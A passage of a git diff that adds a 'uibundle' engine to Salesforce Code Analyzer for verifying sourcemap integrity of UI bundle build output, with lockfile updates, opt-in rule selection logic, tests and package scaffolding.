"@babel/types": "^7.25.0", + "@jridgewell/sourcemap-codec": "^1.5.5", + "@jridgewell/trace-mapping": "^0.3.31", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", + "@types/node": "^20.0.0" + }, + "devDependencies": { + "@eslint/js": "^9.39.5", + "@types/babel__traverse": "^7.28.0", + "@types/jest": "^30.0.0", + "eslint": "^9.39.5", + "jest": "^30.4.2", + "rimraf": "^6.1.3", + "ts-jest": "^29.4.11", + "typescript": "^5.9.3", + "typescript-eslint": "^8.64.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/@eslint/eslintrc": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", + "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.14.0", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.3.0", + "minimatch": "^3.1.5", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/@eslint/js": { + "version": "9.39.5", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", + "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/brace-expansion": { + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/eslint": { + "version": "9.39.5", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", + "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.2", + "@eslint/config-helpers": "^0.4.2", + "@eslint/core": "^0.17.0", + "@eslint/eslintrc": "^3.3.6", + "@eslint/js": "9.39.5", + "@eslint/plugin-kit": "^0.4.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.5", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "packages/code-analyzer-uibundle-engine/node_modules/globals": { "version": "14.0.0", "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", @@ -13739,7 +13041,7 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "packages/code-analyzer-sfge-engine/node_modules/ignore": { + "packages/code-analyzer-uibundle-engine/node_modules/ignore": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", @@ -13749,7 +13051,7 @@ "node": ">= 4" } }, - "packages/code-analyzer-sfge-engine/node_modules/minimatch": { + "packages/code-analyzer-uibundle-engine/node_modules/minimatch": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", @@ -13767,7 +13069,7 @@ "version": "0.1.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0" }, "devDependencies": { @@ -13786,8 +13088,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -13810,8 +13110,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -13823,8 +13121,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -13834,8 +13130,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -13909,8 +13203,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -13922,8 +13214,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -13971,8 +13261,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -13984,8 +13272,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -13994,8 +13280,6 @@ }, "packages/ENGINE-TEMPLATE/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { diff --git a/packages/code-analyzer-core/src/rules.ts b/packages/code-analyzer-core/src/rules.ts index 5a83bf59..39d16dfc 100644 --- a/packages/code-analyzer-core/src/rules.ts +++ b/packages/code-analyzer-core/src/rules.ts @@ -110,10 +110,12 @@ export class RuleImpl implements Rule { const sevName: string = SeverityLevel[sevNumber]; const tags: string[] = this.getTags().map(t => t.toLowerCase()); const isDevPreviewApexGuru: boolean = tags.includes('devpreviewapexguru'); + const isDevPreviewUIBundle: boolean = tags.includes('uibundle'); let selectables: string[]; - if (isDevPreviewApexGuru) { - // DevPreviewApexGuru rules are opt-in: only selectable by engine name, rule name, or explicit tag. - // 'all' and severity are intentionally excluded so broad selectors (e.g. 'all', '4', 'Low') don't pull them in. + if (isDevPreviewApexGuru || isDevPreviewUIBundle) { + // Opt-in rule families (DevPreviewApexGuru, UIBundle) are only selectable by + // engine name, rule name, or explicit tag. 'all' and severity are intentionally + // excluded so broad selectors (e.g. 'all', '4', 'Low') don't pull them in. selectables = [ this.getEngineName().toLowerCase(), this.getName().toLowerCase(), diff --git a/packages/code-analyzer-core/test/rule-selection.test.ts b/packages/code-analyzer-core/test/rule-selection.test.ts index ed2db3c8..7dfc9e52 100644 --- a/packages/code-analyzer-core/test/rule-selection.test.ts +++ b/packages/code-analyzer-core/test/rule-selection.test.ts @@ -652,6 +652,48 @@ describe('Tests for selecting rules', () => { }); }); + describe('UIBundle rule selection behavior', () => { + beforeEach(async () => { + codeAnalyzer = createCodeAnalyzer(); + await codeAnalyzer.addEnginePlugin(new stubs.UIBundleEnginePlugin()); + }); + + it('UIBundle rules are NOT selected by severity number selector', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['4']); // Low + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual([]); + }); + + it('UIBundle rules are NOT selected by severity name selector', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['Low']); + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual([]); + }); + + it('UIBundle rules are NOT selected by all', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['all']); + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual([]); + }); + + it('UIBundle rules ARE selected by engine name', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['uibundleEngine']); + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual(['uibundleRule1', 'uibundleRule2']); + }); + + it('UIBundle rules ARE selected by rule name', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['uibundleRule1']); + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual(['uibundleRule1']); + }); + + it('UIBundle rules ARE selected by UIBundle tag', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['UIBundle']); + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual(['uibundleRule1', 'uibundleRule2']); + }); + + it('UIBundle rules ARE selected by UIBundleIntegrity tag they carry', async () => { + const selection: RuleSelection = await codeAnalyzer.selectRules(['UIBundleIntegrity']); + expect(ruleNamesFor(selection, 'uibundleEngine')).toEqual(['uibundleRule1', 'uibundleRule2']); + }); + }); + it('When attempting to get a rule that does not exist in the selection, then error', async () => { const selection: RuleSelection = await codeAnalyzer.selectRules([]); diff --git a/packages/code-analyzer-core/test/stubs.ts b/packages/code-analyzer-core/test/stubs.ts index 080c7105..ecfe340a 100644 --- a/packages/code-analyzer-core/test/stubs.ts +++ b/packages/code-analyzer-core/test/stubs.ts @@ -647,6 +647,52 @@ class DevPreviewEngine extends engApi.Engine { } } +/** + * UIBundleEnginePlugin - A plugin to help with testing UIBundle opt-in rule selection behavior + */ +export class UIBundleEnginePlugin extends engApi.EnginePluginV1 { + getAvailableEngineNames(): string[] { + return ["uibundleEngine"]; + } + + async createEngine(_engineName: string, _config: engApi.ConfigObject): Promise { + return new UIBundleEngine(); + } +} + +class UIBundleEngine extends engApi.Engine { + getName(): string { + return 'uibundleEngine'; + } + + getEngineVersion(): Promise { + return Promise.resolve('1.0.0'); + } + + async describeRules(_describeOptions: engApi.DescribeOptions): Promise { + return [ + { + name: "uibundleRule1", + severityLevel: engApi.SeverityLevel.Low, + tags: ['UIBundle', 'UIBundleIntegrity'], + description: 'A UIBundle rule with Low severity', + resourceUrls: [] + }, + { + name: "uibundleRule2", + severityLevel: engApi.SeverityLevel.High, + tags: ['UIBundle', 'UIBundleIntegrity'], + description: 'A UIBundle rule with High severity', + resourceUrls: [] + } + ]; + } + + async runRules(_ruleNames: string[], _runOptions: engApi.RunOptions): Promise { + return { violations: [] }; + } +} + /** * FutureEnginePlugin - A plugin to help with testing forward compatibility */ diff --git a/packages/code-analyzer-uibundle-engine/LICENSE b/packages/code-analyzer-uibundle-engine/LICENSE new file mode 100644 index 00000000..1307e4fe --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/LICENSE @@ -0,0 +1,14 @@ +BSD 3-Clause License + +Copyright (c) 2024, Salesforce.com, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + +* Neither the name of Salesforce.com nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/packages/code-analyzer-uibundle-engine/eslint.config.mjs b/packages/code-analyzer-uibundle-engine/eslint.config.mjs new file mode 100644 index 00000000..44661709 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/eslint.config.mjs @@ -0,0 +1,16 @@ +import eslint from '@eslint/js'; +import tseslint from 'typescript-eslint'; + +export default tseslint.config( + eslint.configs.recommended, + ...tseslint.configs.recommended, + { + rules: { + "@typescript-eslint/no-unused-vars": ["error", { + "argsIgnorePattern": "^_", + "varsIgnorePattern": "^_", + "caughtErrorsIgnorePattern": "^_" + }] + } + } +); diff --git a/packages/code-analyzer-uibundle-engine/package.json b/packages/code-analyzer-uibundle-engine/package.json new file mode 100644 index 00000000..74cee030 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/package.json @@ -0,0 +1,69 @@ +{ + "name": "@salesforce/code-analyzer-uibundle-engine", + "description": "Plugin package that adds the 'uibundle' engine into Salesforce Code Analyzer. Validates UI Bundle build-output integrity — currently ships sourcemap-based verification of each shipped dist/ artifact against its declared sourcemap and the submitted src/ tree.", + "version": "0.1.0-SNAPSHOT", + "author": "The Salesforce Code Analyzer Team", + "license": "BSD-3-Clause", + "homepage": "https://developer.salesforce.com/docs/platform/salesforce-code-analyzer/overview", + "repository": { + "type": "git", + "url": "git+https://github.com/forcedotcom/code-analyzer-core.git", + "directory": "packages/code-analyzer-uibundle-engine" + }, + "main": "dist/index.js", + "types": "dist/index.d.ts", + "dependencies": { + "@babel/parser": "^7.25.0", + "@babel/traverse": "^7.25.0", + "@babel/types": "^7.25.0", + "@jridgewell/sourcemap-codec": "^1.5.5", + "@jridgewell/trace-mapping": "^0.3.31", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", + "@types/node": "^20.0.0" + }, + "devDependencies": { + "@eslint/js": "^9.39.5", + "@types/babel__traverse": "^7.28.0", + "@types/jest": "^30.0.0", + "eslint": "^9.39.5", + "jest": "^30.4.2", + "rimraf": "^6.1.3", + "ts-jest": "^29.4.11", + "typescript": "^5.9.3", + "typescript-eslint": "^8.64.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "files": [ + "dist", + "LICENSE", + "package.json" + ], + "scripts": { + "build": "tsc --build tsconfig.build.json --verbose", + "test": "tsc --build tsconfig.json && jest --coverage", + "lint": "eslint src/**/*.ts", + "package": "npm pack", + "all": "npm run build && npm run lint && npm run test && npm run package", + "clean": "tsc --build tsconfig.build.json --clean", + "postclean": "rimraf dist && rimraf coverage && rimraf ./*.tgz && rimraf vulnerabilities", + "scrub": "npm run clean && rimraf node_modules", + "showcoverage": "open ./coverage/lcov-report/index.html" + }, + "jest": { + "preset": "ts-jest", + "testEnvironment": "node", + "testMatch": [ + "**/*.test.ts" + ], + "testPathIgnorePatterns": [ + "/node_modules/", + "/dist/" + ], + "collectCoverageFrom": [ + "src/**/*.ts", + "!src/index.ts" + ] + } +} diff --git a/packages/code-analyzer-uibundle-engine/src/engine.ts b/packages/code-analyzer-uibundle-engine/src/engine.ts new file mode 100644 index 00000000..041fa1ca --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/engine.ts @@ -0,0 +1,214 @@ +import path from "node:path"; +import * as fsp from "node:fs/promises"; +import { + Engine, + LogLevel, + type DescribeOptions, + type EngineRunResults, + type RuleDescription, + type RunOptions, + type Violation, +} from "@salesforce/code-analyzer-engine-api"; +import { RULES, RULE_NAMES } from "./rules"; +import { + COVERAGE_ANALYSIS_RULE, + validateCoverageAnalysis, +} from "./validators/coverage-analysis"; +import { + INVALID_SOURCE_REFERENCES_RULE, + validateInvalidSourceReferences, +} from "./validators/invalid-source-references"; +import { + MISSING_SOURCEMAP_RULE, + validateMissingSourcemaps, +} from "./validators/missing-sourcemap"; +import { PATH_LEAKAGE_RULE, validatePathLeakage } from "./validators/path-leakage"; +import { + SOURCE_CONTENT_VERIFICATION_RULE, + validateSourceContent, +} from "./validators/source-content-verification"; +import { + STRUCTURAL_COHERENCE_RULE, + validateStructuralCoherence, +} from "./validators/structural-coherence"; +import { + TOKEN_CONSISTENCY_RULE, + validateTokenConsistency, +} from "./validators/token-consistency"; +import { buildSourceIndex, type SourceIndex } from "./validators/sourcemap-io"; +import type { ValidatorFinding, ValidatorResult } from "./validators/types"; +import { VLQ_INTEGRITY_RULE, validateVlqIntegrity } from "./validators/vlq-integrity"; +import { getMessage } from "./messages"; + +interface BundleTarget { + distPath: string; + sourcePath: string | null; +} + +export class UIBundleEngine extends Engine { + static readonly NAME = "uibundle"; + + getName(): string { + return UIBundleEngine.NAME; + } + + async getEngineVersion(): Promise { + const pathToPackageJson: string = path.join(__dirname, '..', 'package.json'); + const packageJson: {version: string} = JSON.parse(await fsp.readFile(pathToPackageJson, 'utf-8')); + return packageJson.version; + } + + async describeRules(_describeOptions: DescribeOptions): Promise { + return [...RULES]; + } + + async runRules(ruleNames: string[], runOptions: RunOptions): Promise { + const selected: string[] = ruleNames.filter((name) => RULE_NAMES.has(name)); + if (selected.length === 0) return { violations: [] }; + + const targets: BundleTarget[] = await this.findBundleTargets(runOptions); + if (targets.length === 0) { + this.emitLogEvent(LogLevel.Info, getMessage('NoBundleTargetsFound', UIBundleEngine.NAME)); + return { violations: [] }; + } + + const violations: Violation[] = []; + for (const target of targets) { + await this.runOnTarget(target, selected, violations); + } + return { violations }; + } + + private async runOnTarget( + target: BundleTarget, + selected: string[], + violations: Violation[], + ): Promise { + const distOnlyDispatch: [string, () => Promise][] = [ + [MISSING_SOURCEMAP_RULE, () => validateMissingSourcemaps(target.distPath)], + [PATH_LEAKAGE_RULE, () => validatePathLeakage(target.distPath)], + [INVALID_SOURCE_REFERENCES_RULE, () => validateInvalidSourceReferences(target.distPath)], + [VLQ_INTEGRITY_RULE, () => validateVlqIntegrity(target.distPath)], + [COVERAGE_ANALYSIS_RULE, () => validateCoverageAnalysis(target.distPath)], + ]; + + for (const [ruleName, runValidator] of distOnlyDispatch) { + if (!selected.includes(ruleName)) continue; + const result: ValidatorResult = await runValidator(); + this.consumeResult(ruleName, target.distPath, result, violations); + } + + const sourceDispatch: [ + string, + (opts: { + sourcePath: string; + distPath: string; + sourceIndex?: SourceIndex; + }) => Promise, + ][] = [ + [SOURCE_CONTENT_VERIFICATION_RULE, validateSourceContent], + [STRUCTURAL_COHERENCE_RULE, validateStructuralCoherence], + [TOKEN_CONSISTENCY_RULE, validateTokenConsistency], + ]; + + const activeSourceRules = sourceDispatch.filter(([r]) => selected.includes(r)); + if (activeSourceRules.length === 0) return; + + if (!target.sourcePath) { + for (const [ruleName] of activeSourceRules) { + this.emitLogEvent( + LogLevel.Warn, + getMessage('SkippedNoSourceTree', UIBundleEngine.NAME, ruleName, target.distPath), + ); + } + return; + } + + const sourceIndex: SourceIndex = await buildSourceIndex(target.sourcePath); + + for (const [ruleName, runValidator] of activeSourceRules) { + const result: ValidatorResult = await runValidator({ + sourcePath: target.sourcePath, + distPath: target.distPath, + sourceIndex, + }); + this.consumeResult(ruleName, target.distPath, result, violations); + } + } + + private consumeResult( + ruleName: string, + distPath: string, + result: ValidatorResult, + violations: Violation[], + ): void { + if (result.skipped) { + this.emitLogEvent( + LogLevel.Warn, + getMessage('SkippedForTarget', UIBundleEngine.NAME, ruleName, distPath, result.skipped.reason), + ); + return; + } + for (const finding of result.findings) { + violations.push(toViolation(finding)); + } + } + + private async findBundleTargets(runOptions: RunOptions): Promise { + const targetedFiles: string[] = await runOptions.workspace.getTargetedFiles(); + + const bundleRoots: Set = new Set(); + for (const file of targetedFiles) { + const base = path.basename(file); + if (base === "ui-bundle.json" || base.endsWith(".uibundle-meta.xml")) { + bundleRoots.add(path.dirname(file)); + } + } + + for (const file of targetedFiles) { + const dist = findAncestorNamed(file, "dist"); + if (dist) bundleRoots.add(path.dirname(dist)); + } + + const targets: BundleTarget[] = []; + for (const bundleRoot of bundleRoots) { + const distPath = path.join(bundleRoot, "dist"); + if (!(await isDirectory(distPath))) continue; + + const srcPath = path.join(bundleRoot, "src"); + const sourcePath = (await isDirectory(srcPath)) ? srcPath : null; + + targets.push({ distPath, sourcePath }); + } + return targets; + } +} + +function toViolation(finding: ValidatorFinding): Violation { + // SFCA requires 1-based line/column; validators emit 1-based coordinates. + const startLine: number = Math.max(1, finding.startLine ?? 1); + const rawCol: number | undefined = finding.startColumn; + const startColumn: number = rawCol == null ? 1 : Math.max(1, rawCol); + return { + ruleName: finding.ruleName, + message: finding.message, + primaryLocationIndex: 0, + codeLocations: [{ file: finding.file, startLine, startColumn }], + }; +} + +async function isDirectory(p: string): Promise { + try { + const stat = await fsp.stat(p); + return stat.isDirectory(); + } catch { + return false; + } +} + +function findAncestorNamed(filePath: string, name: string): string | null { + const parts = filePath.split(path.sep); + const lastNameSegmentIdx = parts.lastIndexOf(name); + if (lastNameSegmentIdx <= 0) return null; + return parts.slice(0, lastNameSegmentIdx + 1).join(path.sep); +} diff --git a/packages/code-analyzer-uibundle-engine/src/index.ts b/packages/code-analyzer-uibundle-engine/src/index.ts new file mode 100644 index 00000000..4a212fae --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/index.ts @@ -0,0 +1,8 @@ +import { EnginePlugin } from "@salesforce/code-analyzer-engine-api"; +import { UIBundleEnginePlugin } from "./plugin"; + +function createEnginePlugin(): EnginePlugin { + return new UIBundleEnginePlugin(); +} + +export { createEnginePlugin, UIBundleEnginePlugin }; diff --git a/packages/code-analyzer-uibundle-engine/src/messages.ts b/packages/code-analyzer-uibundle-engine/src/messages.ts new file mode 100644 index 00000000..5fd6f9c3 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/messages.ts @@ -0,0 +1,142 @@ +import {getMessageFromCatalog} from "@salesforce/code-analyzer-engine-api"; + +const MESSAGE_CATALOG : { [key: string]: string } = { + UnsupportedEngineName: + `The UIBundleEnginePlugin doesn't support an engine with name '%s'.`, + + NoBundleTargetsFound: + `[%s] No UI Bundle dist/ directories found. Run 'npm run build' in each UI Bundle before code analysis.`, + + SkippedForTarget: + `[%s] %s skipped for %s: %s`, + + SkippedNoSourceTree: + `[%s] Skipping %s for %s: could not locate a source directory sibling to dist/.`, + + MissingSourcemapRuleDescription: + `Every compiled .js file in the build output must have a corresponding sourcemap (co-located .js.map or //# sourceMappingURL). Missing sourcemaps prevent source-to-compiled verification during security review.`, 